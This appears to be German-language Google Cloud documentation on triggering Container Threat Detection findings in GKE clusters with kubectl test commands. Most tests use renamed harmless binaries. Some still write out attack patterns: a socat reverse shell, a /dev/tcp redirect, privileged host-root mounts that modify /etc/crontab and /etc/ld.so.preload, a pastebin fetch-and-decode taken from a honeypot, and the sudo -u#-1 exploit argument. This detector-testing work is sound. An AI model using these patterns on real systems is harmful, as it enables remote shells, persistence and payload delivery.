Um ein Ergebnis des Typs Execution: Possible Remote Command Execution Detected (Vorschau) auszulösen, muss die Ausführung eines Befehls oder einer Binärdatei, die üblicherweise mit der Ausführung von Remote-Befehlen in Verbindung gebracht wird, in einem Container beobachtet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in touch (oder ein anderes Tool wie find) umbenannt. Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die für die Ausführung von Remote-Befehlen geeignet sind. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, unbefugten Remotezugriff auf oder vom Container aus herzustellen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei wie touch mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

ARM-Knoten:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Possible Remote Command Execution Detected erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung

Wenn Sie ein Ergebnis des Typs Execution: Program Run with Disallowed HTTP Proxy Env auslösen möchten, führen Sie ein Programm in einem Container aus und legen Sie eine HTTP-Proxy-Umgebungsvariable auf einen nicht zulässigen Wert fest. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/curl umbenannt. Die umbenannte Binärdatei wird dann mit einem nicht zulässigen Wert für eine HTTP-Proxy-Umgebungsvariable (z. B. HTTP_PROXY, http_proxy) ausgeführt. Die Kombination aus Programmausführung und dem Vorhandensein einer nicht zulässigen HTTP-Proxy-Umgebung wird als verdächtig gekennzeichnet, da sie auf einen Versuch hindeutet, über einen nicht autorisierten Proxy zu kommunizieren.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine netzwerkfähige Binärdatei wie curl mit einer nicht zulässigen Umgebungsvariable für den HTTP-Proxy aus:

x86-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

ARM-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Mit diesem Testverfahren wird ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Socat-Reverse-Shell erkannt

Um ein Execution: Socat Reverse Shell Detected-Ergebnis auszulösen, muss mit dem socat-Dienstprogramm eine Reverse-Shell-Verbindung für einen Prozess hergestellt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das socat-Dienstprogramm wird installiert und ein lokaler TCP-Listener wird erstellt und dann vom socat-Dienstprogramm gebunden. Die von socat erstellte Reverse-Shell wird als verdächtig gekennzeichnet, da sie es einem Angreifer ermöglicht, beliebige Arbeitslasten auf dem System auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie einen Container und öffnen Sie Bash, um Befehle auszuführen:

x86-Knoten:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash

ARM-Knoten:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Installieren Sie das Dienstprogramm socat.
```
  apt update && apt install socat -y
```

Listener mit socat erstellen

  (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &)

Warten Sie, bis der Listener eingerichtet ist. Das dauert etwas weniger als 10 Sekunden.

An den UNIX-Socket binden, um eine Reverse-Shell-Verbindung herzustellen

  socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Dabei kann ein Fehler zurückgegeben werden. Das ist aber in Ordnung, solange zuvor kurz eine Verbindung hergestellt wird.

Mit diesem Testverfahren wird ein Execution: Socat Reverse Shell Detected-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Verdächtige Cron-Änderung (Vorschau)

Wenn Sie die Erkennung einer verdächtigen Cron-Änderung auslösen möchten, ändern Sie die Datei /etc/crontab des Hosts über einen Container. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt und das Root-Dateisystem des Hosts im Container bereitgestellt. Anschließend wird die crontab-Datei aktualisiert.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie einen Befehl aus, um die Datei /etc/crontab des Hosts zu ändern.

x86-Knoten:

tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „Verdächtige Cron-Änderung“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Führen Sie den Befehl openssl engine mit einem Argument aus, das eine Datei ist, die mit der Erweiterung .so endet, um einen Execution: Suspicious OpenSSL Shared Object Loaded-Befund auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/openssl umbenannt. Diese umbenannte Binärdatei wird dann mit den Argumenten engine und der gefälschten Datei .so ausgeführt. Die Ausführung von openssl engine mit einer .so-Datei wird als verdächtig eingestuft, da sie das Verhalten eines freigegebenen Objekts nachahmt, das geladen wird, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine netzwerkfähige Binärdatei wie curl mit einer nicht zulässigen Umgebungsvariable für den HTTP-Proxy aus:

x86-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

ARM-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Mit diesem Testverfahren wird ein Execution: Suspicious OpenSSL Shared Object Loaded-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Wenn Sie ein Ergebnis des Typs Exfiltration: Launch Remote File Copy Tools In Container auslösen möchten, führen Sie ein gängiges Tool zum Kopieren von Remotedateien in einem Container aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/rsync umbenannt. Anschließend wird es ausgeführt, um eine Datei von einer potenziell schädlichen Remotequelle abzurufen. Die Ausführung eines solchen Tools mit Argumenten zum Abrufen von Remotedateien in einem Container wird als verdächtig eingestuft, da dies auf einen Versuch hindeuten könnte, schädlichen Code herunterzuladen und auszuführen oder Daten zu exfiltrieren.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Tool zum Kopieren von Dateien aus der Ferne aus, z. B. rsync:

x86-Knoten:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

ARM-Knoten:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Mit diesem Testverfahren wird ein Ergebnis des Typs Exfiltration: Launch Remote File Copy Tools In Container erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Damit ein Impact: Detect Malicious Cmdlines-Ergebnis (Vorschau) ausgelöst wird, muss die Ausführung einer Befehlszeile mit bekannten schädlichen Mustern oder Argumenten in einem Container beobachtet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dazu müssen Sie die Binärdatei /bin/ls kopieren und die Kopie in ipfs umbenennen. Die umbenannte Binärdatei wird dann ausgeführt. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, schädlichen Code auszuführen oder Sicherheitskontrollen zu umgehen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

So führen Sie eine Binärdatei wie ipfs aus:

x86-Knoten:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

ARM-Knoten:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Bei diesem Testverfahren wird ein Ergebnis des Typs Impact: Detect Malicious Cmdlines erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkungen: Bulk-Entfernung von Daten von Laufwerk

Wenn Sie ein Ergebnis des Typs Impact: Remove Bulk Data From Disk auslösen möchten, platzieren Sie eine Binärdatei, die Daten löschen oder überschreiben kann, in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dazu muss die /bin/ls-Binärdatei kopiert und die Kopie in shred umbenannt werden (oder in ein ähnliches Dienstprogramm, das für das sichere Löschen von Dateien entwickelt wurde). Die umbenannte Binärdatei wird dann ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie dem Verhalten ähnelt, das häufig beobachtet wird, wenn versucht wird, große Datenmengen von einer Festplatte in einer containerisierten Umgebung zu entfernen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei zum Löschen von Dateien oder Daten wie shred ein und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

ARM-Knoten:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Mit diesem Testverfahren wird ein Ergebnis des Typs Impact: Remove Bulk Data From Disk erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkung: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll

Damit ein Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis ausgelöst wird, muss ein Binärprogramm in einem Container mit Argumenten ausgeführt werden, die denen ähneln, die von Krypto-Mining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert. Im Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt diese Kopie in ein Mock-Binärprogramm um (vermutlich, um einen Krypto-Miner zu simulieren). Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die stratum+tcp oder ähnliche Stratum-Protokollindikatoren enthalten. Diese Aktivität wird als verdächtig eingestuft, da sie die Netzwerkkommunikationsmuster von Krypto-Mining-Software in containerisierten Umgebungen nachahmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Dienstprogramm-Binärprogramm wie curl mit Argumenten aus, die denen ähneln, die von Kryptomining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert:

x86-Knoten:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

ARM-Knoten:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Mit diesem Testverfahren wird ein Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Möglicherweise wird auch ein zusätzliches Ergebnis für den Befehl bash angezeigt, den Sie in diesem Test ausführen. Dieses Verhalten ist normal. Sie können den zusätzlichen Hinweis ignorieren.

Schädliches Script ausgeführt

Wenn Sie ein Ergebnis des Typs „Schädliches Skript ausgeführt“ auslösen möchten, können Sie das Skript im folgenden Verfahren in Ihrem Container ausführen.

Bei diesem Verfahren wird das neueste Ubuntu 24.04-Image bereitgestellt, ein Skript kopiert, das bösartig erscheint, und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss ein Skript durch den Detektor als schädlich eingestuft werden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie das folgende Skript in einem neuen Container aus.

Dieses Inline-Bourne-Shell-Skript stammt von einem Honeypot. Es wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Wenn Sie das Skript ausführen, werden also keine schädlichen Aktivitäten in Ihrem Container verursacht. Das Binärprogramm unter der angegebenen URL wurde möglicherweise entfernt. Wenn Sie versuchen, der URL zu folgen, wird ein 404-Fehler zurückgegeben. Dies ist zu erwarten. Der Versuch, eine Binärdatei mithilfe eines Inline-Skripts herunterzuladen, zu decodieren und auszuführen, löst die Erkennung aus.

x86-Knoten:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

ARM-Knoten:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Schädliche URL beobachtet

Wenn Sie ein Ergebnis des Typs „Schädliche URL beobachtet“ auslösen möchten, führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument an.

Im folgenden Beispiel wird ein Ubuntu 24.04-Image bereitgestellt und /bin/curl ausgeführt, um über den Safe Browsing-Dienst auf eine Beispiel-Malware-URL zuzugreifen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

x86-Knoten:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

ARM-Knoten:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Schädliche URL erkannt“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Persistenz: ld.so.preload ändern (Vorschau)

Wenn Sie die Erkennung von ld.so.preload-Änderungen auslösen möchten, ändern Sie die Datei /etc/ld.so.preload des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Root-Dateisystem des Hosts im Container bereitgestellt und dann /etc/ld.so.preload aktualisiert.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Binärprogramm aus, das die /etc/ld.so.preload-Datei des Hosts ändert.

x86-Knoten:

tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „ld.so.preload-Änderung“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)

Wenn Sie eine Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)-Suche auslösen möchten, führen Sie die Binärdatei sudo mit dem Parameter -u#-1 aus. In diesem Beispiel wird die Binärdatei /bin/ls kopiert, um die Binärdatei sudo zu imitieren, und mit dem angegebenen Parameter ausgeführt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

ARM-Knoten:

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Dateilose Ausführung in `/dev/shm`

